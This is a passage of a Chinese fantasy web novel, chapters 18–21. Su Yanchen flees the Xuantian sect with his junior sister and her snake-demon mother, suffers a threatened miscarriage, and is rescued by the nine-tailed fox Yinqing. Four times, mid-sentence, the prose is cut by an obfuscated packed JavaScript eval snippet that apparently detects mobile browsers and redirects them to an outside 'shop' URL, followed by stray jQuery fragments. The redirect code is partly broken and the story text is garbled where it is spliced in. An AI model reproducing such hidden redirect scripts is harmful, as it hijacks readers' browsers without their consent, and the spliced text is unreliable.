前十几年的无亲无故，一直被当做工具也无人交心。直到在遇到银青后他才交到第一个可以性命相托的朋友。如今虽然因那仇怨关系，他与银青在解毒之后不会再见面，但他腹中的孩子却可以是属于自己的，这不会因为其他而改变。 血缘永远是无法斩断的东西。 苏言辰轻轻叹了一声，敛起思绪，专注投入到修炼之中。 无论是为了逃出玄天宗还是为了给银青解毒，又或者是保护腹中孩儿，他都需要足够的力量。 屋外—— 墨翎呆呆盯着装鱼汤的碗，又望了眼同样怔住的白羽，发出鸦言鸦语。 “我刚刚耳朵坏了？怎么好像听到了小殿下说他怀孕了？” “好巧啊，我耳朵也坏了。”白羽啜一口快要冷掉的鱼汤，干巴巴道：“我不仅耳朵坏了，鼻子也坏了。”他好像在人族小殿下身上闻到了和陛下类似的味道，也就是那种炽烈至阳的天狐气息。 身为鸦族中的异类，他自小就因为毛色与其他鸦族不同而备受排挤，要不是自己拥有格外出色的嗅觉可以进行追踪之类的任务，他也不会成为妖王委以重任的手下。 所以！他以此为豪的嗅觉怎么可能出错？！ 天狐唯大世界独有，所以此世界唯一一只天狐只能是他家那自幼被掳走的妖族小殿下阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281238|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青。 “吸溜——嗝！”白羽心如死灰喝着汤，一双豆豆眼悄悄瞥向屋内。 折寿了，他们两家小殿下居然搞在一起了，不仅如此，还他大爷的有了孩子。 “你哭啥子，该哭的不应该是老子嘛？”瞧见白羽一边喝汤一边流下眼泪，墨翎面露狐疑。 “呜呜呜，你家小殿下找到了，我家殿下却还没有。我就不能悲伤一下嘛。” “也，也是。”墨翎迟疑着点点头，转而安慰道：“放心，反正都在这个世界，一定会找到的。” 闻言，白羽哭得更凄惨了。照人王与妖王两位陛下之间如今像火药似的关系，这个消息一旦被他二人知晓，周围人岂不是要被炸到内伤。 …… 次日。 同样的时间，同样的领头人。苏言辰继续扮演着合格的巡山工具，目送躲懒小分队离开。 “也不知道这个巡逻任务到底要多久？” 抬手遮了下头顶的日光，苏言辰将手上所画的路线又划去一条。上次与小师妹见面后，他从对方手上拿到了后山各个隐蔽出口路线图。 由于图纸年代久远，这种路线还需要亲自前往探测，如今图纸上的路线已经划去了大半，那些洞口不是已经坍塌就是被人发现用石块牢牢堵住，根本无法通行。 “你是想要出去，离开玄天宗？” 察觉到苏言辰的想法，蛇女不由伸出猩红的蛇信，发出几声嘶嘶声。 “我这里倒是有一个很隐蔽通道，但想让我告诉你，你需要答应我一个条件。” 坐在一堆蛇蜕旁边，苏言辰面无表情从蛇女手上拽回后山图纸。 “您老人家真是会做生意。但我这图纸上的路还没探完，也并不一定用得上您的路线。” “诶！都是要做娘的人了，怎么还毛毛躁躁一点耐心也没有。”蛇女青黛凑近图纸轻轻嗅了一口其上残留的气息，面色似乎柔和了些许。 “罢了罢了，就当我发善心。告诉你好了。” “从这个山洞向内，走到尽头处再往右……到时候你们会见到一条瀑布，穿过它，里面会有一条幽深的山洞，继续走……等出去就是离这玄天宗最近的城镇，到时候就看你们自己的目的地了。” 说完话，青黛低头瞧了眼认真思索的青年，忽不经意间询问道：“喂，小家伙，你和那同你一起走的小丫头是什么关系？” “？”苏言辰闻声抬头，目光在蛇女脸上停了一下，“是师兄妹。” “倒是巧了，她同你一样，也是条青蛇。” “她现了蛇身？！”青黛睁大眼睛，似是想到了什么，又缓缓点头，“按青蛇妖族的惯例……也是时候了。” “难怪她要离开玄天宗。” 青黛很清楚她曾经的丈夫的秉性，如今的申常德已然走火入魔，忘却了自己身上留有的一半妖族血脉，反而想着剔除身上的妖血，彻底转化为人族。若是发现自己的女儿成年时也拥有了蛇身，那后果，无非是被当做剔除试验的工具或是直接被舍弃杀死。 在此情况下，女儿跟随身边这个青年离开反倒是件好事。 19. 第 19 章 “所以……申元玥是你的女儿？你是她的母亲。” 相似的种族特征，再加上眼前这位蛇妖对小师妹莫名的关心很容易让人猜测出双方的关系。 青黛侧过身，手指勾起鬓边发丝将其绕到耳后，眉眼蓦然浮现低落的神色。 “我？我又算什么母亲呢。”她伸手扯了扯脖颈处的锁链，眼中闪过一丝恨意，低沉柔和的嗓音在某一瞬间变得尖锐。 “生下玥儿三日后，她便被抱离我的身边，至此之后我便再也未曾见到过她。申常德那个混蛋不仅将我囚禁在此还叫我承受骨肉分离之苦。实在可恨至极！” 山洞内阴寒的妖力因青黛激动的情绪四下蔓延。苏言辰站起身，走近几步，伸手触摸了下连接蛇女脖颈的锁链。锁链入手的质感有些熟悉，冰凉森冷透着彻骨的寒意。 “好冰。” 青黛哼笑一声，抱胸站在旁边，提醒道：“这是千年寒冰链，除非有钥匙或者用极阳之力熔断，否则不可能除去。”她继而又扯了扯脖子上的链子，眸中闪过阴郁之色。 蛇族的妖力向来属阴，即使她妖力再深厚也无法挣脱这条锁链。 若锁住的是手或是尾巴，她还可斩断自己的躯体以期逃走，然而申常德太过阴险，偏偏锁住的是不可斩断的脖颈，如此便断去她逃脱的可能。 极阳之力？捕捉到关键字眼，苏言辰眉心一跳，神色顿时古怪起来。 怎么听上去这极阳之力仿佛是一切阴寒之物的克星？不但寒毒能解，如今连寒冰锁链都能熔去……或许，他可以试试看。 趁蛇女的注意不在他这边，他沉下心，将寒冰锁链置于掌心，随后运起与原先相比增长几倍的灵力，使用纯阳功法开始调动丹田处的极阳之力。 呲——滋滋—— 像闪电似的极阳之力从他的指尖冒出，将掌心的锁链扎出一个肉眼可见的……米粒大的小洞。 “……” “？” 苏言辰睁大眼睛，看了看手指又望向那小小的洞坑，半晌陷入沉默。 没事，那功法他才练几天，力量小实属正常。他心中自我安慰着，同时放下手中锁链，当做无事发生。 转头看向蛇女，苏言辰忽然发觉她脸上的表情越来越怪异，在某一瞬间突然弹跳起来拖着蛇尾往身后的洞穴深处冲刺，下一秒整个人完全躲在黑暗的角落里，只余一双绿色的竖瞳幽幽盯着他那边。 “你……” 啪！ “苏师兄，你怎么待在这边？” 伴随着骤然拍上肩头的手掌，小师妹的声音跟着出现在山洞内。苏言辰捂着被惊到噗通直跳的心脏，转身盯着申元玥，忽长长叹了口气。 “小师妹，我的小姑奶奶，师兄拜托你下次能不能不要突然背后出声。”本来在玄天宗就叫人心神紧张，再总冷不丁被吓，他真的会神经衰弱。 “知道啦知道啦。我这不是着急寻你嘛。”申元玥探出山洞，往周围探查了一圈又缩了回去，转而奇怪地问道：“对了，我之前打听来的消息分明是说你在巡视后山，怎么如今却是待在这山洞里呀？” “我还想问你，你怎么知道我在此处？” 申元玥嘿嘿一笑，捡起地上落下的后山地图，将其背面的隐蔽的符纹露了出来。 “这整张地图就是一张追踪符。” “……” 见苏言辰不说话只盯着自己，申元玥也觉自己理亏，忙解释几句：“我这不是怕你丢下我一个人走嘛。再说……我来找你也是为了告诉你消息。” “我爹三日后就要回来了，在此之前咱们可得抓紧机会逃出去。若是等他回来，逃出难度就更大了。” 申常德要回来了？ 苏言辰下意识往山洞深处看了一眼，也就是说，这个山洞里的通道若是不在申常德回来前使用便就只能作废。毕竟…… “诶呀！这里怎么这么多蛇蜕？！难道是大蛇窝？”申元玥往周围扫了一眼，忽然惊叫出声。 “噗！”苏言辰顿时笑喷了，大蛇窝？他清了清嗓子，无视蛇女警告的眼神，开口道：“这是你爹娘的蛇蜕。” “我爹娘？！”申元玥瞪大眼睛，有些不敢置信：“这……我爹娘都是蛇妖？” 她盯着山洞角落里堆放的蛇蜕，忽然反应过来，“等等，你怎么知道的？” 苏言辰刚要回答，却又被她打断。 “不过如果你说的是真的，那岂不是代表……我不需要跑了？”毕竟自己的爹也能化成蛇形，而不是她猜测的纯种人族。 “不行！你必须要离开玄天宗！” 低沉的女声突然出现在山洞内。察觉到女儿退缩的念头，青黛终于忍不住从山洞深处游了出来。 “你是……”什么人？ “她是你的母亲。” 看出这对母女似是有话要谈，苏言辰背过身子，坐到一边，拿起脚边的锁链继续戳戳戳。 如今已然母女相认，若是逃走的时候，独留小师妹母亲一人在此，那岂不是不美。骨肉分离本就是无比痛苦之事，若是能避免，那当然最好。 “不过就是费力一点。” 成人手臂粗的寒冰锁链需要无数个米粒大的小洞组合起来才能弄断。 伴随着一个个小坑洞的出现，苏言辰运起纯阳功法的动作也逐渐娴熟，丹田内那一小团极阳之力也在某一时刻忽的变大几分，若原本像是烛火，那如今便有拳头那么大。 洞外，天空中的太阳在不知不觉间往西边移动，落在洞口的阳光也不再像正午那边强烈。 是时候该去后山另一边和躲懒小分队汇合了。 丢下还差一些米粒坑就能断裂的寒冰锁链，苏言辰长呼一口气，正要起身却被酸痛的腰部制止住了动作。 “嘶~”他扶着腰想要撑着墙壁站起来，扭头却对上两双如出一辙的杏仁儿眼。 “苏师兄，我来帮你。”小师妹殷勤地扶起苏言辰的手臂，眼眶泛红脸上带着悲喜交加的神情，但总体还是欢喜居多。 蛇女拎起被丢掉的锁链，转而看向身前的青年，语气莫名。 “小家伙，倒是我小瞧你了。”她想到女儿所说的这名青年的真实身份——人王之子，“不愧是那人王的子嗣，荒废多年还能有此奇遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281239|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这天赋与运道果然一脉相承。” “你认识我的父亲？”想到先前青黛提到过的“这个世界”，苏言辰的好奇心再度被勾起。 “倒也不算熟识，人族的小殿下。” 蛇女晃了晃手中的锁链，幽绿的竖瞳直勾勾盯着他，嘴角勾起一抹笑：“等离开玄天宗后，我再细细告诉你，如今你们该做的便是……” “抓紧时机逃出去！” …… 咚咚咚—— 咚咚咚—— 木制窗框被急促击打了几下，带着紧张与催促的意味。 守夜的墨翎闻声朝外面张望了一下，发现是位小姑娘。见其神色慌张，他的豆豆眼一转随即扑腾着翅膀落到床上青年的床沿上。 “咕！”刚要张开的鸟嘴被人快速捏住。 “嘘——不要出声。”将小黑鸟放回鸟窝，苏言辰神情严肃起来，披上外衫快步走到窗前。 “小师妹？” “苏师兄，我们今晚就行动吧。”申元玥露出手上一枚符纸，将其递给苏言辰，语速极快地说道：“刚刚我意外听到消息，宗主很可能明日正午就会回到宗门，留给我们的时间不多了。” “这是敛息符，虽不能完全隐藏气息但聊胜于无。” 闻言，苏言辰接过符纸快速转身走到桌前将两只鸟球球揣进怀里，拎上早已准备好的包裹即刻便出了房门。 “走吧。” 他招呼着等在门口的申元玥。 “这么快？！” 苏言辰回头望了眼身后生活了十几年的屋子，轻轻叹了口气。 此间屋中任何一物都能被替换，而不可取代者已经被他收进了包裹内，比如银青给他的碎银、再比如那把被缠上赤色剑柄绳的长剑。 需带之物极少，收拾起来自然就快了。 …… 小心躲过夜间巡逻的玄天宗弟子，两人疾步走向后山那处山洞。 深夜，山间雾起，人呼出的白色雾气也一并融入山雾当中，愈发叫人看不真切前路。 山洞内的寒气并不比外面少，那垂在地上的千年寒冰锁链依旧在一刻不停歇地散发着冷意，使得洞内的温度也处于一个并不舒适的温度。 闪电般的极阳之力冒着银芒一点一点熔断最后的锁链残骸。 只听“哗啦”一声，手臂粗的锁链最终断成两截，重重坠到地上。 “抱歉，等出去后，我会帮你将脖子上的也一并熔去。”苏言辰看着蛇女脖子上还余有不短长度的锁链，低声说道。 无论是人族还是妖族，脖子都是致命点，自然不可能轻易被他人触碰。先前他也只是尝试，谁料如今的形势如此紧张已不允许他慢慢将青黛脖子上的重新熔断。 “没问题，小殿下。”青黛感受着失去桎梏后松快的感觉。虽然脖颈处还有残余的锁链，但她知道此后她便是自由了。 瞧见苏言辰脸上略微的疲倦之色，蛇女心念一动，妖力随即化作一条巨蛇将三人一齐载上往山洞深处游去。 她可未曾忘记，这位腹内还孕育着天狐血脉，正是需要悉心照顾的时候。 20. 第 20 章 越往山洞深处走，里面便愈发狭窄。山壁侧边的烛火也逐渐减少直至整个通道陷入一片黑暗。 经过漫长的等待，妖力所化的巨蛇终于出了甬道，将他们带到一处石台之上。 青黛散去妖力，指着右侧那处黑黢黢的洞穴，转身对身后的两人说道。 “这条路太过狭小，不可并列只能前后匍匐前进，我先去前面探查一番，你们——” 未等蛇女将话说完，苏言辰怀中一直保持警惕的白羽突然发出尖锐的鸣叫。 “嘎哇——哇——”有情况！有人！ 他闻到了一股熟悉的独属于北蝰蛇的蛇腥味，其中还掺杂着一股怪异的人味儿，这是——那盗走他家小殿下的混血叛徒的味道！ 随着白羽的发出的警戒声，在左侧的洞穴口冒出了一张须发皆白的苍老面孔，正是传闻中要在明日正午才能回来的玄天宗宗主申常德。 “我说怎么老远闻到一股老鼠的味道，原来是你们几个。”阴恻恻的声音出现在幽暗的山洞之中，申常德那双现出黄绿异色的蛇瞳紧紧盯住在场的三人，下一秒周围的温度骤然变冷，一股无形的力量弥漫开来。 “既然来了，那就都给老夫留下吧。” “不好！”青黛脸色一变，快速将身边的两个小家伙推进洞穴，“你们先走，我随后赶到。” 面对对面那股气势磅礴的法力，蛇女面无惧色，挥手间一条妖力凝聚的巨大青蛇迎面扑了上去。 不再多做停留，苏言辰与申元玥两人快速钻进洞穴，耳边只听到身后传来力量碰撞产生的激烈声响，与此同时他们前进的甬道也开始震动起来，时不时落下灰尘与细碎的石屑。 不知道爬了多久，久到膝盖与手掌由被磨破的疼痛到麻木，久到身后早已不曾传来动静，整个狭小空间只余两人急促沉重的呼吸声，前方终于透出一丝光亮，隐隐约约有水声传入耳中。 沐浴着月色两人艰难地从甬道中爬出来。苏言辰失力靠在一旁的石壁上喘息，本该因剧烈运动而泛红的脸色如今却无比苍白，他紧咬住唇，伸出手掌捂住作痛的小腹，眉头微蹙，眼中带着困惑与不解。 自己的肚子怎么突然痛起来了？苏言辰心中茫然，扭头看向一旁连发丝都被汗打湿，脸蛋红扑扑的小师妹。她正在摊在地上呆呆望着石台对面的瀑布。 “苏师兄，怎么没路了？” “……要穿过去。”将突然奋起挣扎的白色小鸟重新按回怀里，苏言辰感觉下腹那股疼痛还能忍受，便勉力站了起来，走到石台边上。 如今后方的情况还不明，以防意外，他们如今要做的事情便只有快点逃出去。 石台与瀑布的距离有一臂之长，要跃过去并非难事，但瀑布后面的情况如何，他也只听青黛简略说过，不切实经历一番，谁也不能知晓内部是否安全。 在寂静的夜色中显得格外喧嚣的瀑布一刻不停歇地流淌着，迸溅出的水珠打在人的脸上，格外冰凉。而石台周围的水流呈现幽暗的黑色，看上去深不可测。 “穿过去？穿过这条瀑布吗？”申元玥走到苏言辰的身边，看着眼前的水帘，语气惊讶，“难不成里面还有路？”她伸出长剑试探性地够了够对面，却不想身子一歪。 “小心！”苏言辰一把拉住申元玥的胳膊，将差点栽进水潭里的小师妹拉了上来。 许是又扯动了哪块神经，他感觉原本缓解很多的小腹又开始坠痛紧绷，一阵阵泛着冷意。 “苏师兄！方才我的剑身感受到了什么坚硬的东西，想必里面真的有石台。” “……那想必没错。”暗中揉了揉小腹，苏言辰低头捡起地上散落的石块往瀑布内扔了一把，待听到闷闷的反弹发出的声音后，他这才放下心，朝申元玥点头：“来，一起跳进去。” 冰冷刺骨的水流迎面浇了下来，打湿全身，水珠沿着淋湿的衣摆落到地上。苏言辰抹去脸上的水珠，整理着湿衣。胸口衣服里包裹着的两只小毛球腾的一下钻了出来，发出嘎嘎的叫喊。 “嘎哇——咕——”天杀的申常德，无耻老贼！竟让小殿下遭遇如此委屈，老子要去宰了他！ 白羽扑腾着翅膀，怒从心起，漆黑的豆豆眼中燃起熊熊火焰。 就在刚刚他的感知中，青年腹内天狐的血脉竟然逐渐虚弱起来。虽说两位小殿下的结合可能会叫陛下们烦恼，但这并不代表小小殿下的存在不被重视。 他们纯种妖族向来极为护短，那无耻混血胆敢妨害妖王血脉，他，他要跟那老贼拼了！ 咻——啪！ 墨翎一把将热血上头的白羽拍到地上。 “嘎？！”你在发什么疯？ “嘎哇！”你不懂！ 白羽晃了晃脑袋，噙着两泡泪飞到青年的腹部，努力嗅闻那股天狐血脉的生命气息，发出阵阵悲鸣。 呜呜呜，他的小小殿下。 苏言辰此刻却没有精力管那嘎嘎叫的小鸟，就在方才穿过瀑布后，他原本就坠痛的小腹蓦然抽搐一下，紧接着一股难忍的剧痛便在腹内弥漫开来。 “唔呃……”抚上剧痛发冷的小腹，苏言辰只觉一股温热的液体好似从下身流了出来。 他本能地运起纯阳功法，往小腹汇聚灵力。毕竟那本《纯阳合欢策》的书册上记载着这部功法具有治疗的功效。虽他还未练到功法的治疗篇，但同样是运用极阳之力，想必也应有异曲同工之处。 丹田之中的极阳之力很快运转至全身，至阳至烈的力量因为急速的运转将经脉撑得发胀，苏言辰拧起眉头，忍受着这种感觉，试探性地将这股力量引导到剧烈疼痛的部位。 等等，那不是……孕育着他两个胚胎的地方吗？ 旁边的申元玥察觉到苏言辰的动静，将欲说出口的话忽然止住。如今刚相认的母亲安危不明，只剩下唯一一个苏师兄还陪在她身边，她不想这仅剩之人也出什么意外。 申元玥掏出口袋中存有的些许符纸，在苏言辰周身布置了一个微型聚灵阵。虽不知道发生了什么，但灵气多一些总不为过。 时间一点一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281240|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去，面容苍白的青年睁开眼睛猛地吐出一口赤红发烫的鲜血，脸上终于浮现出些许血色。 “苏师兄！你……”申元玥忙跑到苏言辰的身边，想要查看对方的情况，等到青年站起身，她忽然瞪大眼睛，惊叫出声。 “苏师兄，你身后怎么这么多血？” 血？苏言辰下意识捂住小腹，还没止住吗？ 细白的手指搭上他的手腕，申元玥凝神把着脉，片刻后眉头突然一皱，转而换了另一只手继续把脉。 “嘶……” 瞧见小师妹如临大敌的表情，苏言辰出声询问：“怎么了？” “糟糕！多日未进行练习，我医术退步竟如此之大。”申元玥看着自己的双手，呆滞地望向面前的青年，喃喃说道：“这脉象怎么像是……喜脉？！还，还有滑胎之相？” 以及…… 她转而望向苏言辰身后那一大片血迹，这无缘无故的出血也及其怪异，和她把出的脉象又颇为吻合。 “苏师兄，你，你不会真怀孕了吧？” 申元玥忽然想起先前在船上时说的玩笑话，在此刻看来竟不像假的。 “……” 苏言辰身形一顿，随后弹了下申元玥的额头，并未回答她的问题。他转身开始往前方的山洞走去，心中莫名有些难为情。 这怀孕的事情被青黛知晓就算了，毕竟算是长辈，怎么现如今小师妹也知晓了。难道青蛇妖族天生就如此敏锐？不过……小师妹刚才说的滑脉之相，莫非这就是方才自己腹痛的原因？ 苏言辰不由抚向自己的腹部，有些心有余悸。 这极阳之力虽属性霸道，但在忍受住那种经脉扩张的痛苦后，确实对身体的伤处有治愈的功效。但未曾按照功法，只能算是事倍功半。好在腹痛最终还是缓解，身下也不再流出鲜血。 “也算是误打正着吧。”他轻轻摇头，朝申元玥说明：“依据你母亲的说法，等走过这个山洞，就能到离玄天宗最近的城镇了。” “我们走快些。”苏言辰将忽然又精神起来的小鸟继续塞回胸前，催促道。 “……好。”申元玥回头望了眼身后毫无动静的瀑布水帘，眸中闪过失落之意。 怎么母亲还未赶上来？ 出洞口时，外面天色已亮，微暖的曦光照在人身上，带来一丝暖意。 苏言辰两人等在洞口旁，一时间相顾无言。 “黛姨吉人自有天相，她一定会出来的。” “我娘是妖不是人。”申元玥两眼含泪，凝望着黑魆魆的洞口。 “……”苏言辰沉默了一瞬：“那就吉妖自有天相。” 突然间一种冰冷滑腻的触感从脚腕一直蔓延到小腿。苏言辰被这股冷意激的打了个寒战，猛地掀开衣摆。 一条吐着蛇信的青蛇攀爬到他的膝盖上，随后口吐人言。 “什么鸡妖天香？鸡妖能天香国色？那将我青蛇族以及那狐妖一族置于何地？” 低沉温和的熟悉女声出现在两人耳侧。 21. 第 21 章 “娘亲？！” 申元玥循声望去，只见一条通体青色的细长小蛇将头搁在苏言辰的膝头，身上赤色的伤痕遍布全身，她却毫不在意一般，语调缓慢严肃。 “小子，你身上怎么这么多血？”她将吻部凑到青年的腹部，细细闻了一闻，像是确定了什么松了口气又慢慢爬下去，游向自己的女儿，边走边骂着。 “申常德那蠢货真当自己是人了，还敢趁自己蜕皮期和老娘对打，真是可笑至极！” 先前她就觉得奇怪，为什么申常德会提前回来，直到靠近后见到对方眼睑上那白色的蜕皮标志她这才意识到这申常德恐怕是担心自己蜕皮期现出蛇身被发现这才匆忙趁夜赶回来。 好在虽被申常德撒了把奇怪的药粉，这后果却不严重，相反，还让她彻底蜕变成了妖族，能够真正化作青蛇原形，而非一直的半人半蛇。 “真以为所有半妖都像他那样，那么想当人吗？”青黛心中嗤笑不已。 苏言辰搓了搓被青黛缠过的腿部，只觉眼前这对不愧是母女，连爱吓人的毛病都一脉相传。 他看向满身伤痕的青黛，从包裹里取出伤药递给申元玥，随后拍去衣服上的灰尘。 “既然人都到齐了，我们就抓紧时间离开玄天宗附近。”虽然他们已经离开玄天宗，但也不可避免的被申常德发现，待其回宗门后定然会派人前来抓捕。 青蛇缠到女儿的手腕上，露出脑袋，盯着面前的青年。 “申常德如今处在蜕皮期，估计今日白天都不会出来，你们若是有目的地就趁此机会赶紧出发。” “尤其是你，要还想保住腹中胎儿就不要总处在奔波之中。孕期的前三个月正是胎儿不稳的时候，你该找个地方安稳一阵子。” 安稳一阵子……苏言辰心中再次想到了望月山。 若只是短暂居住，那望月山自然是最佳场所。而他正好也可趁此时机将自己的摄魂印以及银青体内的寒毒解决。 不过现下要做的还是先将身上这一套显眼的玄天宗弟子服换下来。除去那血迹，自然也因为这套标志性服饰在各大城镇里就是个活靶子。 除妖师这个职业在人群之中向来受人尊敬畏惧，对于普通人来说印象也更加深刻。若不换下，那追踪之人一问，他们的行踪可不就轻易暴露了？ …… 太阳升到高空，距离正午还有段时间。 通往玄天宗最近城镇的路上，两个穿着灰褐色短打的年轻人坐在驴车上沉默不语。 前面赶车的大爷看似精神抖擞，细看那双眼却能叫人察觉那眼中的呆滞。 申元玥忍不住扯了扯脖颈处的布料，小声抱怨道：“原本看这家伙敢在那般偏僻地儿打劫，还以为是什么胆大的，没想到这么容易就被我娘的真身吓晕了，还害我浪费了一张傀儡印。” 缠在她手臂上的青黛闻言点了点头，一副深以为然的模样。 “……”苏言辰无言望了她们一眼，即使是普通的蛇也有大把的人害怕，更别提是能口吐人言的蛇。这和直接告诉别人自己是妖有什么区别。 和月华村不同，这外面的普通人可以说是谈妖色变，打劫打到他们这一行人头上也算这家伙倒霉。 “等到了镇内，我们要怎么处理这家伙？”他问道。 “自然是让他自己去衙门自首。”小师妹像是想到了什么，扭头看向苏言辰。 “对了，苏师兄，你可有想好去哪边？我准备和我娘一起去南边找青蛇妖族的族人。” 南边？苏言辰稍稍想了一番，朝申元玥点头：“那我们到城镇后就该分开了，我之后要去之地与你们相反，是在北边。” “去找你的相好的？”申元玥弯眉一笑，一双杏眼里满是兴味，和昂起蛇头的青黛一同望向青年。 “……只是好友罢了。”被调侃多了，苏言辰已经能做到面不改色。 好友？能让你生孩子的好友？申元玥心中嘀咕，骗鬼呢，鬼听了都要摇头。 驴车不紧不慢往前行进，隐约间苏言辰好似听到了狼嚎的声音在身后响起，但仔细听却又没了动静。 “大白天也会有狼吗？”这样的疑惑只在他心中停留了一瞬，下一秒便听到了身旁之人的欢呼。 “我看到城门了！” 苏言辰抬头往前方看去。 灰砖砌成的城墙巍然耸立着，城门上头刻有的字眼随着距离的拉进清楚出现在视线之中。 开阳镇到了。 一行人等在队尾等待着城门官对进城之人进行身份盘查，忽听到前面一家在抱怨着什么，声音虽小却足够他们这行修炼之人听清话语。 “好端端的这城门怎么查这么严了？以往不都看一眼路引就能放人了嘛。” “就是就是，我还等着给我兄弟送货呢，这么长的队什么时候是个头啊。” “诶，快看，守门的怎么把一面铜镜搬出来了？！” 闻言申元玥不由踮起脚尖朝队伍前面张望一番，随后突然脸色一变，低声朝苏言辰说道：“不好，开阳镇的守卫定然知晓了什么，他们将鉴妖镜搬到城门口了。” “原来那家伙撒药粉想的这个心思。”青黛忍不住收缩了一下蛇尾，又很快松开。 如今她已然化为全妖，必然会被鉴妖镜识别出。在城门前摆上鉴妖镜，那么即使她悄悄溜上城门也会被发现。因为鉴妖镜的识别范围并非是镜身的大小，而是所在建筑的最大横切面范围。 也就是说除非她会飞，否则必然不能悄无声息进入城内。 “那我们现在是要……” 苏言辰的话音还未落下，兜里安静的白色小鸟又开始扑腾起翅膀，飞到他的耳边，小声叫唤着，发出与先前相似的低鸣。 “嘎咕——”有人味儿，好多奇怪的人味儿！ 是和之前遇到申常德时闻到的相似的人味儿，只是更加新鲜并且还没有妖族的气息。白羽心中暗道。 听到小鸟发出的好似示警的声音，苏言辰下意识警惕起来，他不动声色地看向四周。 依旧还在照常检查的守卫、三两聚在一起交谈的行人、缓慢驾驶的马车……一切似乎都很寻常。 像是意识到自己被察觉，城门后陡然冒出一群身着霁青色服饰的玄天宗弟子，手持长剑往苏言辰所在的驴车围拢过来。 “快跑！” 苏言辰拽着还未反应过来的小师妹朝人数最少的地方奋力奔逃。 现下青黛由于之前与申常德交战时受了暗算，如今连人形都现不出只能化作蛇形恢复元气，此时能依靠自然只有他们自己。 “这玄天宗未免太看得起我们，连几位长老都出动了。”出逃道路的前方是几名驻足站着的身影，两人不由停下脚步。 若是只有门下弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281241|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，他们或许还能周旋一二，现下却是如此大的阵势，分明是对他们势在必得。苏言辰心中不由苦笑。 难道如今就要被捉回去了吗？明明就要成功，却偏偏就在这最后的时刻…… 若是回去，不说自己又要被加固摄魂印，即使忍受住那种痛苦，他这腹中的妖族血脉也必然保不住。在玄天宗，他的这两个孩子只有死路一条。 苏言辰默默握紧手中长剑，原本平和的眉眼骤然凌厉起来。 既然如此，宁为玉碎不为瓦全！ 即使是死也好过再次被捉回去做成傀儡，神志全失。 想来这申常德之所以不想让自己这个人王之子死去，背后必然所图甚大，那么今日，他就要将他这一谋划尽数打碎！ 也不知道是什么猫逗老鼠的心理，那几名留守在此地的玄天宗长老并未立即出手，而是待在一旁静看他们两人与门下弟子交战。 苏言辰再次击退一名玄天宗弟子，整个人被逼到墙角，身上出现了大大小小的伤痕，如此人海战术叫他的体力流失得很快。 “嘎哇！嘎——”飞在周围帮忙扰乱敌人视线的白色小鸟突然像是发现了什么，整只鸟突然激动起来，发出大声的鸣叫，随后扑到苏言辰的手边，飞快啄了一口自己的脚，将冒出的妖血抹到青年手上戴着的玉扳指上。 空中顿时现出一道巨大的九尾金狐的光影，神秘瑰丽，将整个天空照得极亮无比。 “这是什么招式？！”竟如此敌我不分！ 苏言辰闭了闭被刺痛的眼睛，双眸含泪，勉强看清跑到他身边的申元玥，趁着其余人被伤了眼的功夫，迅速拉着对方往树林之中奔逃。 “哪里跑！” 身后传来长老们的喊声。 然而就在下一秒，树林之中骤然传来此起彼伏的狼嚎。 一匹匹青灰色的巨狼陆续从林中奔袭出来，将苏言辰等人护在身后，与玄天宗的弟子与长老对峙。 而在狼群的最末，安静无声地立着一道巨大的白色身影。 “银青？”苏言辰睁大眼睛，眸光中满是不可置信。也不知是因为方才的战斗太过激烈还是其他，他只觉得胸膛中的心脏突然就急促跳动起来，一下一下又一下。 “是我。”化作巨大九尾原形的白狐低头用尾巴温柔地圈住狼狈的青年，转而看向不远处在与巨狼交战的玄天宗人，金色狭长的眼睛里闪过无比冰冷的暗芒。 因为走前宗主所下的活捉命令，几名长老运起身法越过与弟子搏斗的巨狼，来到苏言辰等人的面前。 见到那妖异巨大的白色九尾妖狐，其中担任教习师傅一职的宁长老勃然变色，怒声喝道：“苏言辰你果然暗中勾结妖族，背叛宗门！” 